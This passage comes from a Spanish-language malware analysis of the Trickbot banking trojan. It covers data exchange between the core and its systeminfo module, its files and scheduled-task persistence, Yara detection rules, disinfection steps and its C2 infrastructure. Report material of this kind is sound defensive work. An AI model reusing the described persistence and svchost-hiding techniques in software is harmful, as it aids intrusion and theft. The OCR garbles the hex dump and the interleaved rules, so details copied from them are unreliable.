00056710 72 &£ 73 6 66 T4 20 57 &9 ée £4 &£ 77 73 20 37 rcacft Windows T
+ 0330000 00056720 20 42 6F &d &5 20 50 72 65 &4 69 75 &d 20 20 53 Home Premium S
» 0x3e0000 00056730 65 72 76 69 63 65 20 50 &1 63 6b 20 31 20 36 34 ervice Pack 1 64
» 0x410000 00056740 20 62 &9 74 73 3c 2f &f 73 3e 0d Oa 3¢ 63 70 75 bita</osr..<cpu
> 0x430000 00056750 32 49 &2 T4 65 fc 28 52 29 20 43 &f 72 65 28 54 >Tntel(R) Core(T
» 0x440000 00056760 4d 29 20 69 35 2d 35 32 30 30 55 20 43 50 55 20 M) i5-52000 CEU
. 0x5d0000 00056770 40 20 32 2e 32 30 47 48 Ta 3c 2f 63 70 75 3e 0d @ 2.20GHz</cpus.
0% 750000 00056780 Oz 3c 72 61 6d 3= 37 36 37 20 4d 42 3¢ 2f 72 61 .<ram>767 MB</ra
00056790 &d 3e 04 Oa 3c 2£ 67 €5 2 65 72 61 6c 32 Od Oa m>..</generalw..
* (1b30000 00056720 3c 75 73 65 72 73 32 0d 0a 3c 75 73 &5 72 3e 41 <users>..<user>h
> 0x1c70000 000567b0 64 6d 69 G= 69 73 74 72 61 &4 &f 72 3c 2 75 73 dministrador</us
» 0x1d70000 000567c0 65 72 3e 0d Oa 3c 75 73 65 72 3e 48 &Ff 6d 65 47 er>..<user>Homes
> 0x1ee0000 00056740 72 &f 75 70 55 73 &5 72 24 3c 2f 75 T3 &5 72 3e roupUsers</user>
> 02220000 00056720 0d Oa 3c 75 73 &5 72 3e 49 ée 76 69 74 61 64 & ..<user>Invitado
> 0x 10000000 000567£0 3c 2L 75 73 €5 72 3e 0d 0& 3c 75 73 &5 72 3e 6a < user>..<user>]
00056800 &f 68 &2 3c 2F 75 73 65 72 3e 0d Oa 3¢ 2f 75 73 chn</users..</us
00056810 &5 72 73 32 0d Oa 3c 69 6= 73 74 61 6c 6c 65 64 era>..<installed
00056820 32 0d 0Oa 3c 70 72 6f &7 72 61 £d 3e 41 64 64 72 >..<programzAddr

Vemos en 0x2866f0 (230000+566f0) que esta la informacién recopilada por el médulo
y que el core esta accediendo a ella. En este caso esta informacion la enviara al C2
mediante el comando 63. Hemos visto un ejemplo de como se han intercambiado la

informacion el core de Trickbot y el médulo “systeminfo”.



8. ARCHIVOS RELACIONADOS

Las muestras analizadas de Trickbot hasta la fecha, se han instalado siempre en la
carpeta %APPDATA% del usuario por el que es ejecutado en primer lugar. En esta
carpeta se copia a si mismo y crea 2 ficheros:

@ client_id: El cual contiene un ID del usuario infectado generado a partir de
datos del sistema.

® group_tag: Un codigo de la campafia el cual contiene en la configuracion
interna que se puede encontrar cifrada en los recursos del ejecutable, una vez
desempaquetado, junto con la clave de descifrado.

1000014 _Trickbot 13/03/2017 12:18 Aplicacién 286 KB
|| client_id 06,/04,2017 13:00 Archivo 1KE
|| group_tag 06,/04,2017 13:01 Archivo 1 KB

Aparte de estos ficheros, si tiene conectividad, descargara en la misma carpeta una
configuracién actualizada que guardara como “config.conf’ cifrada, y creara una
carpeta “Modules”.

En la carpeta llamada Modules descargara los médulos que contengan sus ficheros de
configuracién cifrados, y carpetas con los ficheros de configuracién de algunos de los
modulos. Las carpetas con las configuraciones de cada modulo tendrdn nombres

siguiendo el patron: “<nombre del médulo>_config®.

J injectDl32_configs 06,/04,2017 13:05 Carpeta de archivos
|| injectD32 30/03/2017 11:06 Archivo 512 KB
|| systermninfo32 30/03/2017 11:06 Archivo 22 KB

Cuando obtiene permisos de administracion, se copia a la carpeta:

C:\Windows\System32\config\systemprofile\AppData\Roaming

Tras ejecutar esta accion elimina el ejecutable de la carpeta Roaming del usuario

inicial, dejando los modulos y las configuraciones intactas.



9. DETECCION

En primer lugar, de forma manual, se podran encontrar los ficheros mencionados en el
apartado 8 en la carpeta %APPDATA%, el Unico caso que puede variar es el
ejecutable principal que se puede encontrar con distintos hombres dependiendo de su

origen, pues los demas hasta la fecha no han cambiado en ningin momento.

También se podran encontrar, dependiendo del escenario, una o dos tareas llamadas
“bot” o “Drivers update”, y “AplicationsCheckVersion”, las cuales ejecutaran una
aplicacion en el directorio %APPDATA% cada minuto y al iniciar sesion

respectivamente.

Durante su ejecucion, es mas facil detectarlo entre los procesos en ejecucion en
equipos de 32 bits, pues en estos mantiene el nombre del ejecutable replicado en
%appdata%. En cambio, en equipos de 64 bits se vale del proceso svchost.exe de
Microsoft, para ocultarse cuando es ejecutado por un usuario normal del sistema. En el
caso de ser invocado por la tarea de persistencia con permisos de SYSTEM, se

comporta igual que en sistemas 32 bits.

Para la deteccion de forma automatica, no hay reglas NIDS que lo puedan detectar a
través de su trafico hasta el momento, ya que el hecho de que vaya cifrado por SSL lo

complica en mas medida.

Se han desarrollado reglas Yara para detectarlo en memoria, ya que el ejecutable
viene empaquetado con distintos tipos de sistemas para cada campafia y version,

impidiendo que se cree una regla comdn.



Las reglas para su deteccidbn en memoria son las siguientes:

rule MALW _trickbot_bankBot : Trojan
{
meta:
author = "Marc Salinas @Bondey _m"
description = "Detects Trickbot
Trojan"

Banking

strings:
$str_trick_01 = "moduleconfig
$str_trick_02 = "Start"
$str_trick_03 = "Control"
$str_trick_04 = "FreeBuffer"
$str_trick_05 = "Release"

rule
Trojan

{

meta:

MALW_systeminfo_trickbot_module

author = "Marc Salinas @Bondey_m"
description = "Detects systeminfo

module from Trickbot Trojan"

strings:

$str_systeminf_01 = "<program>"
$str_systeminf_02 = "<service>"
$str_systeminf_03 = "</systeminfo>"
$str_systeminf 04 =

condition: "GetSystemlInfo.pdb"
all of ($str_trick_*) $str_systeminf_05 = "</autostart>"
} $str_systeminf_06 = "</moduleconfig>"
condition:
all of ($str_ systeminf_*)
}
rule MALW _dllinject_trickbot_module : Trojan rule MALW_mailsercher_trickbot_module
{ Trojan
meta: {
author = "Marc Salinas @Bondey_m" meta:

description = " Detects dllinject module
from Trickbot Trojan"

strings:
$str_dllinj_01 = "user_pref("
$str_dllinj_02 = "<ignore_mask>"
$str_dllinj_03 = "<require_header>"
$str_dllinj_04 = "</dinj>"

condition:
all of ($str_ dllinj_*)
}

author = "Marc Salinas @Bondey_m"
description = " Detects mailsearcher

module from Trickbot Trojan™

strings:
$str_mails_01 = "mailsearcher"
$str_mails_02 = "handler"
$str_mails_03 = "conf"
$str_mails_04 = "ctl"
$str_mails_05 = "SetConf"
$str_mails_06 = "file"
$str_mails_07 = "needinfo"
$str_mails_08 = "mailconf"

condition:

}

all of ($str_mails_*)




10. DESINFECCION

Teniendo en cuenta el proceso de deteccion, en caso de encontrar rastros de esta
amenaza en el sistema y que ninguna de nuestras medidas de proteccién del sistema

sea capaz de detectarlo o desinfectarlo, los pasos ideales para su desinfeccién serian:

¢ Eliminacién de la tarea que se ejecuta cada minuto, para que no reinicie la
ejecucion del malware.

e Finalizacion del proceso de Trickbot con el administrador de tareas o con una
aplicaciébn como ProcessExplorer.

e Navegacion a la carpeta %APPDATA% donde se encuentra instalado, para
borrar el ejecutable principal de Trickbot y posteriormente los tres ficheros
(“user_id”, “group_tag” y “config.conf’) y la carpeta Modules.

e Navegacibn a la carpeta APPDATA del usuario SYSTEM
(C:\Windows\System32\config\systemprofile\AppData\Roaming) para eliminar
los mismos ficheros de ésta.

Con esto, habriamos eliminado por completo esta amenaza del sistema, aunque seria
recomendable revisar que no se haya repuesto la tarea de persistencia en caso de que
justo en el lapso de tiempo entre que la eliminamos y cerramos el proceso, éste
hubiera estado en sus primeras fases de ejecucion y la hubiese repuesto, aunque no

seria peligrosa pues no podria encontrar el ejecutable en el sistema.

Por otra parte, en los casos en los que la infeccion haya sido a través de un ExploitKit,
es probable que ademas de Trickbot, nuestro sistema se encuentre infectado con
otros tipos de malware, pues no suelen instalar solo una muestra, por lo cual se
recomendaria realizar analisis con distintas herramientas llegando al formateo en

casos sensibles.



11. INFORMACION DEL ATACANTE

Para la infraestructura de Trickbot, como mencionaba @hasherezade en su post en

el blog de Malwarebytes, las IPs de sus C2 corresponden a dispositivos como

Routers o Camaras IP (todos los comprobados con procesadores ARM) repartidas por
gran cantidad de paises distintos y en todos los casos que hemos analizado

pertenecientes a ISP de cada uno de los paises que veremos a continuacion.

El reparto de paises de los C2 (partiendo de las configuraciones recopiladas) se
muestra en la siguiente grafica donde se puede observar como destacan Estados
Unidos y China:

REPARTO DE C2 POR PAISES

1% Polonia

1% Pakistan 1% Somalia

1% Méjico 4% Zambia
1% Libano ! 7% Estados Unidos
1% Indonesia A
1@ s
1% Estonia N

1% Colombia 8 5% China
1% Emiratos Arabes "\ %

2% Lituania

Y

2% Lesoto 4% Brasil

e o Vo

2% Camboya

\\4% India

2% Alemania

\ 4% Malasia

\ 4% Rumania
\4% Ucrania

2% Republica Checa

2% Chile

2% Bangladés

2% Argentina

3% Noruega
3% Canada

Lista de paises ordenada de mayor a menor nimero de C2 encontrados.


https://twitter.com/hasherezade
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor

La mayoria de los sistemas afectados presentan una interfaz Web de acceso como las

siguientes:

]
MikroT ik
RouterOSs v6.34.2
onnected to a router, Administrative access only. If this device is notin your possession, please contact your local HIKY
(e
€
phs Help

e ~Ausarmame and passwerd ars bng requestd by hep: 36 § The sita sy
S .

en e [T

e

Y en caso de acceder por https a la URL formada por uno de los comandos de
Trickbot, el certificado que nos muestra, sigue siendo el mismo que en las primeras

versiones analizadas en el post mencionado anteriormente:

General | Detalles |

No se pudo verificar este certificado porque el emisor es desconocido.

Emitido para
Nombre comin (CN) hugutfdf

Organizacién (0) tg4rétds

Unidad erganizativa (OU) rst

Nimero de serie 00:C5:63:15:A8:0D:6A:86:E5
Emitido por

Nombre comuan (CN) rvgvtfdf

Organizacién (0) tgarétds

Unidad erganizativa (OU) rst

Periodo de validez
Comienza el 08/06/16
Caduca el 08/08/17

Huellas digitales
Huella digital SHA-256  34:04:69:57:08:B1:C8:F9: 7D: B4:D4:E3: 3C:57:F8: 4F:
23:B0:DF:E0:BE:75:14:77:0B:43: 2A:5B: AB:66:25: 2D

Huella digital SHAL 92:75:D5:27:40:C0:B0:1C:E9:52:32:3D:0F:53:68:D7:8A:74 .FF.BF
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